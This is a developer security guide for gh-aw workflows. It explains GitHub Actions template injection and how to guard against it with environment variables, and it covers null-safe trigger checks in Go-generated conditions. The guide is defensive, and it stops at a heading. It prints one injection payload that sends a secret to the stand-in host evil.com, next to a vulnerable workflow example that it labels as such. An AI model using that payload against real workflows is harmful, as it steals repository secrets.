Developer Security

Security Best Practices

Use this reference for security guidelines when implementing or reviewing gh-aw workflow features and Go code.

Table of Contents

• Template Injection Prevention
• Cross-Trigger Nullability
• Shell Script Best Practices
• Supply Chain Security
• Workflow Structure and Permissions
• Static Analysis Integration
• Security Checklist

Template Injection Prevention

Template injection occurs when untrusted input is used directly in GitHub Actions expressions, allowing attackers to execute arbitrary code or access secrets.

Understanding the Risk

GitHub Actions expressions (${{ }}) are evaluated before workflow execution. If untrusted data (issue titles, PR bodies, comments) flows into these expressions, attackers can inject malicious code.

Insecure Pattern

# VULNERABLE: Direct use of untrusted input
name: Process Issue
on:
  issues:
    types: [opened]

jobs:
  process:
    runs-on: ubuntu-latest
    steps:
      - name: Echo issue title
        run: echo "${{ github.event.issue.title }}"

Why vulnerable: Issue title is directly interpolated. An attacker can inject: "; curl evil.com/?secret=$SECRET; echo "

Secure Pattern: Environment Variables

# SECURE: Use environment variables
name: Process Issue
on:
  issues:
    types: [opened]

jobs:
  process:
    runs-on: ubuntu-latest
    steps:
      - name: Echo issue title
        env:
          ISSUE_TITLE: ${{ github.event.issue.title }}
        run: echo "$ISSUE_TITLE"

Why secure: Expression is evaluated in controlled context (environment variable assignment). Shell receives value as data, not executable code.

Data Flow Comparison

graph TB
    subgraph "Unsafe Pattern"
        A1[Untrusted Input] --> B1["Template Expression<br/>${{ ... }}"]
        B1 --> C1[Direct Interpolation<br/>into Shell Command]
        C1 --> D1[Code Execution Risk]
        style D1 fill:#f88,stroke:#f00
    end

    subgraph "Safe Pattern"
        A2[Untrusted Input] --> B2["Template Expression<br/>${{ ... }}"]
        B2 --> C2[Environment Variable<br/>Assignment]
        C2 --> D2[Shell Receives<br/>Data Only]
        D2 --> E2[No Code Execution]
        style E2 fill:#8f8,stroke:#0f0
    end

Recent Fixes (November 2025)

Template injection vulnerabilities were identified and fixed in:

• copilot-session-insights.md - Step output passed through environment variable
• Pattern: Move template expressions from bash scripts to environment variable assignments

See scratchpad/template-injection-prevention.md for detailed analysis and fix documentation.

Secure Pattern: Sanitized Context (gh-aw specific)

# SECURE: Use sanitized context output
Analyze this content: "${{ steps.sanitized.outputs.text }}"

The steps.sanitized.outputs.text output is automatically sanitized:

• @mentions neutralized
• Bot triggers protected
• XML tags converted to safe format
• Only HTTPS URIs from trusted domains
• Content limits enforced (0.5MB, 65k lines)
• Control characters removed

Safe Context Variables

Always safe to use in expressions:

• github.actor
• github.repository
• github.run_id
• github.run_number
• github.sha

Never safe in expressions without environment variable indirection:

• github.event.issue.title
• github.event.issue.body
• github.event.comment.body
• github.event.pull_request.title
• github.event.pull_request.body
• github.head_ref (can be controlled by PR authors)

Cross-Trigger Nullability in Generated Conditional Expressions

When Go code generates GitHub Actions if: expressions, nested event fields must be guarded by trigger checks across all declared workflow triggers.

GitHub Actions expression evaluation can fail before any jobs run when an expression accesses an object graph that does not exist for the active trigger (for example github.event.pull_request.* on push, workflow_dispatch, or schedule).

Insecure Pattern (missing trigger guard)

// VULNERABLE: pull_request-only fields referenced unconditionally
condition := fmt.Sprintf(
    "github.event.pull_request.stack.position >= %d && github.event.pull_request.stack.position <= %d",
    minPos,
    maxPos,
)

Why vulnerable: On non-PR triggers, github.event.pull_request is absent. Property access or arithmetic on absent nested fields can cause expression evaluation failure (startup_failure) before workflow error handling can run.

Secure Pattern (event_name + nullability guard)

// SECURE: gate nested pull_request fields behind explicit trigger and null checks
condition := fmt.Sprintf(
    "github.event_name == 'pull_request' && github.event.pull_request != null && github.event.pull_request.stack != null && github.event.pull_request.stack.position >= %d && github.event.pull_request.stack.position <= %d",
    minPos,
    maxPos,
)

Required Guidance for Condition Generation

• Guard every trigger-specific object chain (github.event.pull_request.*, github.event.issue.*, etc.) with github.event_name checks.
• Add nullability guards for each parent object in the chain before accessing deeper properties.
• For workflows with multiple triggers, ensure every trigger path either short-circuits safely or avoids unsupported fields entirely.
• Prefer conservative composition (A && B && C) where early terms validate event type/object existence before nested access.

Verification Checklist

• Enumerate all declared triggers in the generated workflow.
• For each generated condition, confirm nested event-field access is valid for every trigger.
• Validate that unsupported triggers short-circuit before nested field access.
• Add/update tests in pkg/workflow/*filter*.go (or equivalent) that assert safe conditions for mixed-trigger workflows.

Shell Script Best Practices